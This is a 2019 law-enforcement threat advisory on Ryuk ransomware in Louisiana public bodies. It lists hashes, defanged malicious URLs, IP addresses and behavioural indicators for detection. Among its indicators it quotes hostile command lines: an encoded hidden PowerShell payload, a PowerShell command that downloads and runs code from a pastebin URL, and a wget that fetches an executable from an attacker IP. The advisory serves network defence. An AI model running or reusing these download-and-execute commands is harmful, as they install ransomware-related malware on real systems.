Cyber Crime Unit

Ryuk Infections: Updated IOCs v4

19-8480

The Traffic Light Protocol (TLP) is a set of designations used to ensure that sensitive information is shared with the correct audience. This document is TLP: **GREEN**. Recipients may share this information with peers and partner organizations within their sector or community, but not via publicly accessible channels. For more information on the Traffic Light Protocol: http://www.us-cert.gov/tlp/.

August 7, 2019

Executive Summary: Ransomware malware has been observed infecting networks in public institutions in Louisiana. The Ransomware has displayed signatures consistent with Ryuk Ransomware variant.

As of July 24, 2019, multiple public organizations in Louisiana have reported ransomware infections in their networks. The Ransomware, which has displayed signatures consistent with the Ryuk ransomware variant, is primarily propagated through email using Emotet malware and the Trickbot trojan. Once a machine has been infected, the ransomware will attempt to spread by sending copies to members of the infected user's contact list. Ryuk ransomware, often remains dormant after the initial infection, in order to allow the malicious actor time to carry out reconnaissance inside an infected network. This reconnaissance phase is used to identify and target critical network systems, as well as attempt privilege escalation through account creation, in order to maximize the impact of the attack. Once Ryuk activates, non-executable files across the system will be encrypted and will be renamed with the .ryk file extension. A ransom note will be dropped in each processed folder with the name RyukReadMe (.html or .txt).

Infected organizations are encouraged to not pay a ransom to criminal actors. Paying a ransom may embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or may fund illicit activities. Paying the ransom does not guarantee that a victim's files will be recovered. Organizations who believe they may have observed the following Indicators of Compromise should contact the fusion center at 1-800-434-8007 or lafusion.center@la.gov.

Updated Indictors of Compromise:

Presence of the following hashes:

- ef618b59f022f628639608c2ed22a643
- 2b2576680b7b66117d61bee7839aace9
- d39b634d92db0250101ecf766b0723e8
- 5309636faa4b92caccc74fef65723408
- 0f9a6306ba96115fea93415d0ff1f157
- 8fe5ac3ceaf243c155267d5443a3e8e3

Traffic to the following URLs:

- http[:]//ad[.]eltext[.]com
- http[:]//blufda[.]com/
- http[:]//rep4[.]upseek[.]org/?r2=launc1|http://
- http[:]//www[.]winreanimator[.]com/winreanimator/
- http[:]//www[.]look2me[.]com/products/
- http[:]//ct[.]kkwyx[.]com/uxb/bmwct[.]rarexecute=

Homeland Security Standing Information Needs (HSEC SINs): HSEC-1.1; HSEC-1.3; HSEC-1.3.2; HSEC-1.5; HSEC-1.5.2.
LA-SAFE SINs: LA-21010; LA-21030.

- http[:]//install1[.]ring520[.]org/kkkk/
- http[:]//www[.]drgeorges[.]com/info/sh
- http[:]//cts[.]hotbar[.]com/trackedevent[.]aspx
- http[:]//ge[.]tt/
- http[:]//te[.]clickpotato[.]tv/pte[.]aspx
- http[:]//ads[.]eorezo[.]com/cgi-bin/advert/getads?
- http[:]//ads[.]eorezo[.]com/cgi-bin/advert/getads?x_dp_id=
- http[:]//macsweeper[.]com
- http[:]//imunizator[.]net
- http[:]//www[.]rysiologger[.]yoyo[.]pl/itemtibia[.]txt
- http//www[.]rysiologger[.]yoyo[.]pl/idtibia[.]txt
- http[:]//www[.]rysiologger[.]yoyo[.]pl/gg[.]txt
- http[:]//i1ii1ii11i[.]info
- http[:]//1ii1i1ii11[.]com
- http[:]//iu11ui1ill[.]ws
- http[:]//boxstr[.]com/files/1395939_sjigi/telegrama[.]exe
- http[:]//carnaval2008fotos[.]com[.]dish5031[.]net[.]ibizdns[.]com/SOURCE_H4CK3R
- http[:]//uu[.]f126[.]com/ie[.]txt
- http[:]//www[.]qqhudong[.]cn/usersetup[.]asp?action=
- http[:]//ip-api[.]com/json/
- http[:]//whatami[.]us[.]to/tc[.[onionmodules
- http[:]//http[.]00[.]s[.]sophosxl[.]net/V3/xx/

Indicators from previous advisories:

- Traffic to or from Pastebin.com (104.20.208.21 or 104.20.209.21) in the previous two weeks
- Any Anti-Virus hits for either Trickbot or Emotet
- New Accounts created with elevated privileges
- Outbound web traffic to ports 445, 447, 449, and 8082
- Unusual RDP traffic
- Installed services with unusual names/created scheduled tasks with unusual names or paths
- Unusual files in user's roaming directories
- The program tiki.exe set to run at startup.
- wget to 218.16.120.253
    - Connections observed to the following in an attempt to download ie_up.exe: http[:]//0xda[.]0x10[.]0x78[.]0xfd/ie_up[.]exe
- The presence of wdcsam.inf.2823sf8551
    - This file was created by the application C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe after it established a TCP/443 connection to 104.20.208.21:443
    - "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -e SQBmACgAJABFAE4AVgA6AFAAUgBPAEMARQBTAFMATwBSAF8AQQBSAEMASABJAFQARQBDAFQAVQBSAEUAIAAtAGMAbwBuAHQAYQBpAG4AcwAgACcAQQBNAEQANgA0ACcAKQB7ACAAUwB0AGEAcgB0AC0AUABBAyAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAIgAkAEUAbgB2ADoAVwBJAE4ARABJAFIAXABTAHkAcwBXAE8AVwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQB

- Process set to sleep for one million seconds (11.5 days)
    - "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" IEX ((new-object net.webclient).downloadstring('https://pastebin.com/raw/NLEa6k0y'));Invoke-FTPKJSOYWA;Start-Sleep -s 1000000

IPs of Interest:

181.129.49.98	191.37.181.152
186.138.152.228	181.115.168.69
186.183.199.114	181.129.140.140
186.42.226.46	201.148.247.21
187.58.56.26	201.56.193.18
187.61.106.223	218.16.120.253
187.65.49.88	45.250.66.10
189.80.134.122	46.149.182.112
190.13.160.19	5.190.90.5
190.152.4.210	75.147.173.236
190.154.203.218	82.146.54.187

TrickBot IP Addresses Identified from Partners:

- 170.238.117.187
- 195.123.237.129
- 194.5.250.123
- 85.204.116.158
- 31.184.254.18
- 186.10.243.70